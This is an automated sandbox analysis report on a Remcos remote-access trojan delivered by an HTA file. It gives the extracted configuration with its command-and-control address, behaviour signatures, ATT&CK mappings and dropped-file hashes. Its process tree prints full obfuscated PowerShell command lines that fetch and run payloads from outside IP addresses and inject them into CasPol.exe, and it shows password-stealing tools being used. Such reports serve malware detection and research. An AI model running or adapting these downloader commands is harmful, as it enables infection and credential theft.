remcos | 53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128

Analysis

max time kernel
107s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-02-2025 20:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta
Size

14KB
MD5

b6572f3c40c7c1f48cf6d3cf6383e58d
SHA1

ef572061a9b3a4bf0a1b1df74357edc4f810c039
SHA256

53567cc7f7c6d7d1538b06ce9bc2d61b262c5fe0b491afcbb68b042e4ecb1128
SHA512

1df142f5f3e71a93d41452ae666003c173de45395501c75dd9405813ec10600e5f674e5647e6c1b6f7f53b90e5b2687c951c4fecc2e19332bc93a614e3efd8f0
SSDEEP

96:fLgCkOWCkoT+aKau28uaDrUgrUCicCkbZ+:0CkVCkoT+aKarp/kCkk

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

192.3.243.136:6878

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-JARS2X
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3692-106-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3292-105-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1888-112-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3292-105-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3692-106-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	1592	powershell.exe
17	3064	powershell.exe
21	3064	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1892	cmd.exe
1592	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 4620	3064	powershell.exe	94
PID 4620 set thread context of 3692	4620	CasPol.exe	97
PID 4620 set thread context of 3292	4620	CasPol.exe	99
PID 4620 set thread context of 1888	4620	CasPol.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1592	powershell.exe
1592	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3692	CasPol.exe
3692	CasPol.exe
1888	CasPol.exe
1888	CasPol.exe
3692	CasPol.exe
3692	CasPol.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4620	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4620	CasPol.exe
4620	CasPol.exe
4620	CasPol.exe
4620	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	1888	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4620	CasPol.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2244 wrote to memory of 1892	2244	mshta.exe	82
PID 2244 wrote to memory of 1892	2244	mshta.exe	82
PID 2244 wrote to memory of 1892	2244	mshta.exe	82
PID 1892 wrote to memory of 1592	1892	cmd.exe	84
PID 1892 wrote to memory of 1592	1892	cmd.exe	84
PID 1892 wrote to memory of 1592	1892	cmd.exe	84
PID 1592 wrote to memory of 2508	1592	powershell.exe	85
PID 1592 wrote to memory of 2508	1592	powershell.exe	85
PID 1592 wrote to memory of 2508	1592	powershell.exe	85
PID 2508 wrote to memory of 812	2508	csc.exe	86
PID 2508 wrote to memory of 812	2508	csc.exe	86
PID 2508 wrote to memory of 812	2508	csc.exe	86
PID 1592 wrote to memory of 4100	1592	powershell.exe	87
PID 1592 wrote to memory of 4100	1592	powershell.exe	87
PID 1592 wrote to memory of 4100	1592	powershell.exe	87
PID 4100 wrote to memory of 3064	4100	WScript.exe	88
PID 4100 wrote to memory of 3064	4100	WScript.exe	88
PID 4100 wrote to memory of 3064	4100	WScript.exe	88
PID 3064 wrote to memory of 2336	3064	powershell.exe	93
PID 3064 wrote to memory of 2336	3064	powershell.exe	93
PID 3064 wrote to memory of 2336	3064	powershell.exe	93
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 3064 wrote to memory of 4620	3064	powershell.exe	94
PID 4620 wrote to memory of 3692	4620	CasPol.exe	97
PID 4620 wrote to memory of 3692	4620	CasPol.exe	97
PID 4620 wrote to memory of 3692	4620	CasPol.exe	97
PID 4620 wrote to memory of 3692	4620	CasPol.exe	97
PID 4620 wrote to memory of 4712	4620	CasPol.exe	98
PID 4620 wrote to memory of 4712	4620	CasPol.exe	98
PID 4620 wrote to memory of 4712	4620	CasPol.exe	98
PID 4620 wrote to memory of 3292	4620	CasPol.exe	99
PID 4620 wrote to memory of 3292	4620	CasPol.exe	99
PID 4620 wrote to memory of 3292	4620	CasPol.exe	99
PID 4620 wrote to memory of 3292	4620	CasPol.exe	99
PID 4620 wrote to memory of 1888	4620	CasPol.exe	100
PID 4620 wrote to memory of 1888	4620	CasPol.exe	100
PID 4620 wrote to memory of 1888	4620	CasPol.exe	100
PID 4620 wrote to memory of 1888	4620	CasPol.exe	100

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sheisbestforbetterforgoodthingstogetbackbetterthingsforgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
  2⤵
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWershell.exe -ex bypASS -NOP -w 1 -C DeviCECredEnTiaLdeploYmeNt ; iEX($(IEx('[sYStEM.TEXT.encOdinG]'+[cHar]0x3a+[ChAR]0X3a+'UtF8.GetstrING([SYSTeM.CoNVERt]'+[chaR]0X3a+[chAr]0X3A+'fROMbASe64sTrING('+[ChAr]34+'JEdrb1B4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWRjLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExvS2Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdWlDeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1ZzdFpkblYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWJPY0x4KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiWU5aIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGb3VoICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHa29QeDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguNy43Mi80MzAvZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29kLmdJRiIsIiRlTnY6QVBQREFUQVxnb29kZ2lybGFsd2F5c2JlYWdvb2RnaXJsd2l0aGJldHRlcnBlcnNvbmdvb2dpcmx3aXRoLnZicyIsMCwwKTtTdEFSVC1zbGVFcCgzKTtJbnZPa2UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcZ29vZGdpcmxhbHdheXNiZWFnb29kZ2lybHdpdGhiZXR0ZXJwZXJzb25nb29naXJsd2l0aC52YnMi'+[ChAr]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mckqrnq5\mckqrnq5.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2508
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85D9.tmp" "c:\Users\Admin\AppData\Local\Temp\mckqrnq5\CSC376867DFA6634AB6933833834C2C8644.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:812
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBpAHQAcwBlAGIAeQBtAHIAbwBmAGQAbwBvAGcAcwBzAGUAbgB0AGEAZQByAGcAaAB0AGkAdwBzAGcAbgBpAGgAdAB0AHMAZQBiAGUAaAB0AGUAZQBzAC8AMAAzADQALwAyADcALgA3AC4AOAA2ADEALgA0ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3064
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        
        PID:2336
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4620
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\eephjjosjcbzdvktmhahrlxgnghm"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3692
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyuskbzlxltencyxdrnbcqspomrvtvyl"
        7⤵
        
        PID:4712
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gyuskbzlxltencyxdrnbcqspomrvtvyl"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3292
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qsil"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
4030ff7b0dd0f841f1390d4e49523527

SHA1
cca2a9b612f988d6123177d93692a68599369480

SHA256
1f45fceeffa87a021333ce6f268247c49a181a151127a276c9d2416271bc14b1

SHA512
48d8a3c3d12d0d4abdce973753fa47575622b0bc8ad0c0bcfb4efbe93355efbc59318c4d31b1688d39f6b7ee450d2776651712b254ccbe9067c5ebd1ab5df8d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
e7ef8d122f1dec743f88becd934aaf02

SHA1
d1590cea8c4899c383769a01645914bbde2e95ff

SHA256
1677751d0de621c467cf8dd9f55f19cc8652e9ded635481a8f61c2bdabd5f83e

SHA512
a0d0c280929ed42621459a65b749624270dad14aa1eb9c6be8c22f1dc11263c80d4074761be12ac39d3446cce6d36fdefa6ba6fd27ae61c3c0279ddcb9c104ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES85D9.tmp

Filesize
1KB

MD5
3f8eb54a2cf7656fcd1f596847550a92

SHA1
265c85114ef930c9db70d5089bab829d072dc7f8

SHA256
0d50e31c5da9993a3457d3071775fe6f72610e79bb38c40e58a35581b1372c79

SHA512
1f640ed40d2a0b1132827760ecdee761155d95c9fa92de9fefe9c3fbeea8414e3d92054fd72ddee2bf36481a4496a4143275bfbab026549cfa520f9581e40c08

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktopt231.xfp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eephjjosjcbzdvktmhahrlxgnghm

Filesize
4KB

MD5
bc25ccf39db8626dc249529bcc8c5639

SHA1
3e9cbdb20a0970a3c13719a2f289d210cdcc9e1d

SHA256
b333f8c736c701bc826886f395d928731850cbce6db77be752b3cf7979114904

SHA512
9a546127bddc1d187e674cda82e6c5046cac7f3e6f9515aed68d5bff2264b9d679d857dd97270e10826cd11ce2d92d82dd7f9801e19027e346b60bcc814cca1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\mckqrnq5\mckqrnq5.dll

Filesize
3KB

MD5
5f99e5757215d61997e663b3088bd084

SHA1
5b25ec79314713274a077a6502a8f26277412f35

SHA256
20c265f0e4ad68b2218b0a739db27715d3db23524508de3e601509cd5ec8bace

SHA512
e40f80b5fe33fac4a399907f20b592e445164076a8d28c44bdea1786c4307c88a7ddc9aa19c916d2b3dc5a913a10fa3a9ee1bdfbd77e591e77542c8d71bfc430

Download Submit
C:\Users\Admin\AppData\Roaming\goodgirlalwaysbeagoodgirlwithbetterpersongoogirlwith.vbs

Filesize
223KB

MD5
333ba8d914c321df855e5b74274f38d0

SHA1
e5d512a9c1d7c5be82bf4fd4e9b5dea83793ca79

SHA256
048099ca7e2e55ad822eb367fcc5b7e5ecf98557651825a03c34ca8373120139

SHA512
50699c6433d0d541658d8a419f3a240b49c60b06352fc5f9d61008decf647f03e40a2afcc20c1ba5855ae34eb7c45dec52c4f7ab46d81bafa9e7be83a006fe7f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mckqrnq5\CSC376867DFA6634AB6933833834C2C8644.TMP

Filesize
652B

MD5
71119bf41885c8a28613ec5edd6a05a3

SHA1
5aaa195cce9d209cc288260ab91440d71d59500b

SHA256
2dd1354a02869afc60d650faccf5bed4d0c9f973e98376d87f3b2734f29d0915

SHA512
971a9267fb9220c351916f1230166a426510e72a2cf0336aae11383b7133ac60fb020194da49f7b713673a00e02a6a57af5e17db5669bedb711aca1e713e2579

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mckqrnq5\mckqrnq5.0.cs

Filesize
465B

MD5
7da95fb8f830258ef72b0f5c7b4d425c

SHA1
c625a70e4f81b9e04b7d95479e37c90e9c8f4f71

SHA256
59fb5ee2f23beec8c2623d2686a7b52d2eaf786f90869990d525facc2a2da7fa

SHA512
039be9d1aabc4e450ab1ffe219425f21e3938fc530899863908c4900545275d5468659fd1cd0665a05d521f81eca17417b8f82e8eea102ddca08c0c82cc05926

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\mckqrnq5\mckqrnq5.cmdline

Filesize
369B

MD5
19d4eadc3245c0ffe763ec6b286472eb

SHA1
f4224508145af6a99bb4ebeece8fb8b03d88b88a

SHA256
0603f50b4621f558d47d1c9cab560753c54f43902efa6f168d4d0599e6309ddb

SHA512
